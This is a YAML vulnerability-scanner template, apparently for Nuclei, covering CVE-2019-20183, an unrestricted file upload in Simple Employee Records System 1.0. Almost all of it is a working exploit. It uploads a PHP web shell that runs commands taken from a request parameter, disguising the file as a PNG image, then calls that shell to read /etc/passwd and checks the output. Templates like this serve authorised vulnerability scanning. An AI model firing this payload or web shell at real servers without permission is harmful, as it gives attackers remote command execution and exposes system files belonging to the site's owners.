59 lines
1.8 KiB
YAML
59 lines
1.8 KiB
YAML
id: CVE-2019-20183
|
|
|
|
info:
|
|
name: Simple Employee Records System 1.0 - Unrestricted File Upload
|
|
author: pikpikcu
|
|
severity: high
|
|
description: |
|
|
Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/49596
|
|
- https://medium.com/@Pablo0xSantiago/cve-2019-20183-employee-records-system-bypass-file-upload-to-rce-ea2653660b34
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-20183
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2019-20183
|
|
cwe-id: CWE-434
|
|
tags: edb,cve,cve2019,rce,intrusive,fileupload
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /dashboard/uploadID.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337
|
|
|
|
-----------------------------5825462663702204104870787337
|
|
Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
|
|
Content-Type: image/png
|
|
|
|
<?php
|
|
$cmd=$_GET['cmd'];
|
|
system($cmd);
|
|
?>
|
|
-----------------------------5825462663702204104870787337--
|
|
|
|
- |
|
|
GET /uploads/employees_ids/{{endpoint}}?cmd=cat%20/etc/passwd HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: endpoint
|
|
part: body
|
|
internal: true
|
|
regex:
|
|
- '(?:[a-zA-Z0-9+\/])*_poc.php'
|
|
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
condition: and
|
|
|
|
# Enhanced by mp on 2022/06/17
|